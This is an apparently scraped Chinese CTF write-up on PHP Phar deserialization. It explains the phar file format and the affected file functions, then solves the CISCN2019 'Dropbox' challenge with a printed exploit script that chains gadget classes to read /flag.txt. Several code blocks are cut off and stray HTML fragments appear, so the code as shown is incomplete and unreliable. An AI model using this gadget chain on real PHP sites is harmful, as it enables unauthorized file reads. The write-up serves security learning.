Phar反序列化

前言

通过做题发现了Phar反序列化这个漏洞点,发现自己以前遇到过,但是都是模模糊糊的过去了。这次就好好总结一下。

Phar 反序列化

Phar文件结构

php>=5.3的时候,默认开启支持Phar,文件状态问为只读,而且使用phar文件不需要任何配置。php使用phar://伪协议来解析phar文件的内容。

php<5.3得时候,要将php.ini中的 phar.readonly设置为off,否则无法生成phar文件。

其文件结构包括4个部分:

  • stub

    phar 扩展识别的标志 格式为 xxx stub必须以HALT_COMPILER();来作为结束部分,否则Phar拓展将不会识别该文件。

  • manifest

    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化

  • contents

    被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

  • signature

    文件的签名格式

Phar的使用方法

前提条件

  • 有上传点 可以上传phar文件
  • 有操作文件的函数,且函数的参数可控。
  • 有魔术方法可以利用

举个栗子:

startBuffering();
$phar->setStub("");
/*
 如果有文件限制,可以增加gif文件头
$phar->setStub("GIF89a".""); 
*/
$o = new User();
$o->name = "chuddy";
$phar->setMetadata($o);
$phar->addFromString("chuddy.txt","chuddy");
$phar->stopBuffering();
?>

Phar反序列化_第1张图片

那反序列化部分的内容如何反序列化呢?
在使用Phar:// 协议流解析Phar文件时,Meta-data中的内容都会进行反序列化
小trick:系统文件操作的函数一般都能使用伪协议流,Phar:// 也是ok的

测试一下:

 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-irPiRn7w-1573141175758)(https://s2.ax1x.com/2019/11/06/Miyovt.md.png)]
可以发现可以执行反序列化。

函数扩展

受影响的函数还有以下函数皆受影响

列表
file_get_contents file_put_contents() file() file_exists() is_file() unlink()
fopen() read_file() is_dir() is_link() parse_ini_file() copy()
stat() fileatime() filectime() filegroup() fileinode() filemtime()
fileowner() fileperms() is_executable() is_readable() is_writable() is_writeable()

利用

[CISCN2019 华北赛区 Day1 Web1]Dropbox

打开页面发现是一个登陆框,通关尝试,没有发现注入点,于是就常规的注册登陆。发现是一个文件管理页面。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hDLgIK1H-1573141175761)(https://s2.ax1x.com/2019/11/07/MApQjH.md.png)]
上传的文件有下载和删除的功能。
尝试下载功能。发现可以任意文件下载
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-syGgrLvW-1573141175762)(https://s2.ax1x.com/2019/11/07/MA9KI0.md.png)]
通过控制filename这个参数可以实现任意文件读取。,于是我们可以把想过的文件都下载下来。其中有index.php,class.php,download.php, delete.php等。
class.php

db = $db;
    }

    public function user_exist($username) {   //判断用户是否存在  利用了预编译的方法,所有没有找到注入点
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {  //注册用户
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {  //用户登陆的判断
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {  
        $this->db->close();   //调用其他类的close方法
    }
}

class FileList {  //这是文件的显示类
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '
'; $table .= ''; foreach ($this->funcs as $func) { $table .= ''; } $table .= ''; $table .= ''; foreach ($this->results as $filename => $result) { $table .= ''; foreach ($result as $func => $value) { $table .= ''; } $table .= ''; $table .= ''; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { //判断文件是否存在 return true; } else { return false; } } public function name() { return basename($this->filename); //返回路径中的文件名部分。 /home/admin.php 返回admin.php } public function size() { //判断文件大小 $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { //删除文件 unlink($this->filename); } public function close() { //返回文件 return file_get_contents($this->filename); } } ?>

通过对class.php文件的审计,发现这里使用了预编译的方法,,所以登陆处没有sql漏洞。
但是注意到 File类中的close方法,这个方法被调用可以获得文件的内容,如果能够触发这个方法,就有机会得到flag。 发现download.php里面调用了这个方法。

由于这里传递的filename过滤了flag这个关键字符串,所以不能通过文件下载来直接下载文件。
download.php

$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {  //文件名不能有flag
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();  //这里调用了close函数  可以打印文件内容
} else {
    echo "File not exist";
}

但是其他的文件都能够读取。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZsgpdhXm-1573141175764)(https://s2.ax1x.com/2019/11/07/MAseC4.md.png)]

由于file类中的close方法,利用的是file_get_contents这个函数,也是受Phar反序列化影响的,如果能触发该方法,就有可能获取flag。

User类中存在调用close方法,但是该方法在对象销毁时执行

Filelist类中,存在call魔术方法,但是类没有close方法。

public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

php的__call魔术方法,__call($func,$args)会在对象调用的方法不存在时,自动执行。这里的call方法的作用就是,当调用的对象没有这个方法,首先把要调用的方法,压进$this->funcs中,然后遍历每一个文件,让每一个文件,都去调用刚才的方法。

如果一个Filelist对象调用了close()方法,根据call方法的代码可以知道,文件的close方法会被执行,就可能拿到flag。

这是一个大佬画的图,会更好理解:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7PhlEbyo-1573141175768)(https://s2.ax1x.com/2019/11/07/MAo0pt.md.png)]

可以利用Phar反序列化来弄
exp:

filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub(""); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

把文件改名为phar.png,然后上传,在delete删除该文件,抓包改数据,就可以得到flag
Phar反序列化_第2张图片

你可能感兴趣的:(web安全)

' . htmlentities($func) . 'Opt
' . htmlentities($value) . '涓嬭浇 / 鍒犻櫎